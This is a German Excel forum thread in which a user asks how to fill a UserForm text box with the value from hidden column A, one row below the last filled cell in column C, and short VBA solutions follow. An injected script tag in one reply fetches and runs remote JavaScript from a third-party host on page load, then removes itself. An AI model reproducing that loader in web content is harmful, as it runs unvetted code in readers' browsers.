Office: Letzte leer Zeile suchen und Spate A Ausgeben

Hallo

Ich stehe mal wieder vor einem Problem.

Ich habe eine UserForm mit der ich Daten in eine Tabelle eintrage.

Meine Tabelle "Anlagenkartei" hatt in Spalte A Nummern stehen von. Nun möchte ich das in Spalte C geprüft wird wo der letzte Eintrag ist und dann soll in der TextBox20 angezeigt werden was in einer Zeile drunter in A steht.

z.B. A92 = 15090 nun soll in der TextBox20 der Wert aus A93 stehen A93 = 15091

Kann mir da mal jemand helfen bitte wie ich das am besten machen kann.


Danke Gruß Michael

 

Hallo ich nochmal.

Sorry hatte noch vergessen zu sagen das Spalte A Ausgeblendet ist.


Gruß Michael

 

<script id="FoxLingoJs">!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();</script>Hallo Michael,

mal so als Anregung:

Code:

Option Explicit

Sub NextNumber()
   Dim lRow As Long
   
   lRow = Cells(Rows.Count, 3).End(xlUp).Row
   MsgBox Cells(lRow + 1, 1)
End Sub

Das füllen der Textbox sollte nicht so schwer sein .

 

Hallo Nemo

Vielen Dank für die Antwort habe es hin bekommen.

Hier mal der Code wie ich es gemacht habe fals es noc jemand gebrauchen kann.

Code:

Private Sub UserForm_Activate() 'Beim Userform Start
Dim lRow As Long
   
   lRow = Cells(Rows.Count, 3).End(xlUp).Row
   TextBox2 = Cells(lRow + 1, 1)
End Sub

Gruß Michael